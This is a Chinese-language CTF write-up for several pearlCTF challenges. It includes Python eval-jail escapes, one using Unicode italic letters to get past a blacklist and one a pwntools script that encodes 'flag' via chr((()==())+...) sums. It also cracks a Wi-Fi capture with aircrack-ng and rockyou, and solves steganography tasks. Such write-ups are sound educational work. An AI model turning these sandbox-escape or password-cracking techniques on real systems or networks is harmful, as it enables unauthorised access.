pearlCTF——少部分WP

题型新颖，见识了不少

#!/usr/local/bin/python
import time
flag="pearl{f4k3_fl4g}"
blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789")
def banner():file=open("txt.txt","r").read()print(file)
def check_blocklist(string):for i in string:if i in blacklist:return(0)return(1)
def main():banner()cmd=input(">>> ")time.sleep(1)if(check_blocklist(cmd)):try:print(eval(cmd))except:print("Sorry no valid output to show.")else:print("Your sentence has been increased by 2 years for attempted escape.")main()

过滤了所有的正常字符

使用斜体字符来绕过，https://exotictext.com/zh-cn/italic/

𝘱𝘳𝘪𝘯𝘵(𝘧𝘭𝘢𝘨)

在这里插入图片描述

在这里插入图片描述
这里再加一个字母斜体生成的脚本

def generate_italic(text):italic_map = {'a': '𝘢', 'b': '𝘣', 'c': '𝘤', 'd': '𝘥', 'e': '𝘦','f': '𝘧', 'g': '𝘨', 'h': '𝘩', 'i': '𝘪', 'j': '𝘫','k': '𝘬', 'l': '𝘭', 'm': '𝘮', 'n': '𝘯', 'o': '𝘰','p': '𝘱', 'q': '𝘲', 'r': '𝘳', 's': '𝘴', 't': '𝘵','u': '𝘶', 'v': '𝘷', 'w': '𝘸', 'x': '𝘹', 'y': '𝘺','z': '𝘻','A': '𝘈', 'B': '𝘉', 'C': '𝘊', 'D': '𝘋', 'E': '𝘌','F': '𝘍', 'G': '𝘎', 'H': '𝘏', 'I': '𝘐', 'J': '𝘑','K': '𝘒', 'L': '𝘓', 'M': '𝘔', 'N': '𝘕', 'O': '𝘖','P': '𝘗', 'Q': '𝘘', 'R': '𝘙', 'S': '𝘚', 'T': '𝘛','U': '𝘜', 'V': '𝘝', 'W': '𝘞', 'X': '𝘟', 'Y': '𝘠','Z': '𝘡',}italic_text = ''for char in text:italic_text += italic_map.get(char, char)return italic_texttext = input("Enter text to convert to italic: ")
italic_text = generate_italic(text)
print("Italic text:", italic_text)

变成斜体的想法还有win系统自带的字体，可以下载斜体的字体导入进去，应该还是会有很多办法的，还请各位师傅们多多交流

pearl{it_w4s_t00_e4sy}

Excel Mayhem

一个xlsx文件

在这里插入图片描述](https://img-blog.csdnimg.cn/direct/2b72defe0ea74e8f8c74abf48c963fe7.png)

里面是大串的fake_flag+数字字符

在这里插入图片描述

先是转换成csv文件，然后用编译器打开，将fake_flag字符全删掉，滑动进度条查看有没有特别的地方，pycharm的替换快捷键是ctrl+r

在这里插入图片描述

pearl{h3ll_0f_4n_3xc3l}

Rick Roll

ridk romliog it digfidumt to vodesstaod

字母是元音的后一位字母进一

rick rolling is difficult to understand

rot13.5

3 spies

3c、n的情况，使用广播攻击

This is your destination: "https://pastes.io/1yjswxlvl2"

打开网页发现是一堆码

在这里插入图片描述

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AKKM0UAFFGaM0AFFGaM0AFFGaM0AFFGaM0AFFGaM0AFFGaM0AFFGaM0AFMniSeCSGVd0cilGGcZBGDT80ZoAwvDXhLQ/DLTvomnx20k+BLJuZ3cDoCzEnA9M4rdozRmgAoozRmgAoozRmgAoozRmgAoozRmgAoozRmgBKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAP/Z

使用html网页进行解码，以图像形式进行解析

<img src="data:unknwon;base64,/...../Z">

在这里插入图片描述

pearl{good_job_bu7_7h15_15_4_b4by_On3}

jail_time

源代码：

#!/usr/local/bin/python
import blackbox as blackbox
import time
flag="pearl{j4il_time}"def banner():file=open("txt.txt","r").read()print(file)
def main():banner()cmd=input(">>> ")time.sleep(2)cmd=blackbox.normalise(cmd)if(blackbox.check_blocklist(cmd)):try:print(eval(eval(cmd)))except:print("Sorry no valid output to show.")else:print("Your sentence has been increased by 2 years for attempted escape.")
main()

没写黑名单是什么，肯定比上一题更多

使用脚本进行获取白名单，通过迭代字符集，尝试发送每个字符，如果返回的结果不是 “Sorry no valid output to show.”，则将该字符添加到白名单中。

from pwn import *
HOST, PORT = "dyn.ctf.pearlctf.in", 30016charsets = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}.!@#$%^&*()-+=<>,?/|~`"
# get whitelist
whitelist =[]for c in charsets:io = remote(HOST, PORT)io.sendlineafter('>> ', c)recv = io.recvline().decode().strip()if "Sorry no valid output to show." in recv:whitelist.append(c)print("Whitelist: ", whitelist)io.close()
print("Whitelist: ", whitelist)

运行脚本

在这里插入图片描述

获取到白名单之后，就接着写exp

from pwn import *
HOST, PORT = "dyn.ctf.pearlctf.in", 30016# charsets = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}.!@#$%^&*()-+=<>,?/|~`"
# get whitelist
# whitelist =[]# for c in charsets:
#     io = remote(HOST, PORT)
#     io.sendlineafter('>> ', c)
#     recv = io.recvline().decode().strip()
#     if "Sorry no valid output to show." in recv:
#         whitelist.append(c)
#         print("Whitelist: ", whitelist)
#     io.close()
# print("Whitelist: ", whitelist)# whitelist = ['a', 'c', 'h', 'q', 'r', 'w', '(', ')', '-', '+', '=', '?', '|', '`']
# chr()def fck(string):one = "(()==())"chreval = ""for c in string:dec = ord(c)chreval += "chr("for i in range(dec):chreval += oneif i != dec-1:chreval += "+"chreval += ")"if c != string[-1]:chreval += "+"return chrevalio = remote(HOST, PORT)
io.sendlineafter('>>> ', fck("flag"))
print(io.recvall().decode().strip())

在这里插入图片描述

pearl{j41l_3sc4p3_succ3sful_362de4}

WiFi broken

我怀疑我以前的朋友有什么不对劲的地方。我尝试访问他的网络，但为此，我需要他的 wifi 密码。当您找到密码时，将其封装在 Pearl{} 中。

使用无线网络渗透工具aircrack-ng，进行暴力破解

前提先是要有字典，kali中会自带，kali中没有可以使用下面的命令进行安装

sudo apt-get install wordlists

该字典在/usr/share/wordlists目录下，进行解压

sudo gzip -d rockyou.txt.gz

可以复制到常用目录下，执行工具进行暴力破解

aircrack-ng -z findme.cap -w ../dic/rockyou.txt

在这里插入图片描述

pearl{shenoydx}

SoundScape

我请求当时在海滩的朋友给我发一些大海的照片。相反，他递给我音频文件并说这就是图像。请帮我找到图片，作为回报，我会给你旗帜。

一道完全看大佬的思路才会复现的题

附件是三个音频文件

在这里插入图片描述

用音频软件查看并没有发现，三段都是类似的

在这里插入图片描述

同010打开，发现并不是音频文件

在这里插入图片描述

三个文件只有红色框选的位置是有变化的

都是00、7F，猜测大概是转换为0和1二进制了，00 --> 0，7F --> 1

转换完之后依旧没有头绪，直到发现文件名之间的关联，头一个字母组合起来是RGB

推断是要转换成图片了，其实压缩包名也给了提示~~~

执行脚本

import numpy as np
import matplotlib.pyplot as pltdef convert_binary_to_hex(binary_string):decimal_value = int(binary_string, 2)hex_string = format(decimal_value, '02X')return hex_string
def main():with open('Raine1.txt', 'r') as file1, open('Gideon1.txt', 'r') as file2, open('Beryl1.txt', 'r') as file3:binary1 = file1.read()binary2 = file2.read()binary3 = file3.read()hex_colors = []for i in range(0, len(binary1), 8):r = convert_binary_to_hex(binary1[i:i + 8])g = convert_binary_to_hex(binary2[i:i + 8])b = convert_binary_to_hex(binary3[i:i + 8])hex_colors.append((r + g + b))# print(hex_colors)# 这里可以打印出来一些RGB像素数据来判断进制转换是否正确# 将16进制颜色转换为RGB格式rgb_colors = [tuple(int(hex[i:i + 2], 16) for i in (0, 2, 4)) for hex in hex_colors]# print(rgb_colors)# 创建一个数组以存储像素值image_array = np.array([rgb_colors], dtype=np.uint8)# print(image_array)# 调整数组形状以匹配图像尺寸# 这里我发现的图片尺寸是384*576image_array = image_array.reshape(384, 576, 3)# 绘制图像plt.imshow(image_array)plt.axis('off')# 保存图像为文件plt.savefig('output_image1.png')if __name__ == "__main__":main()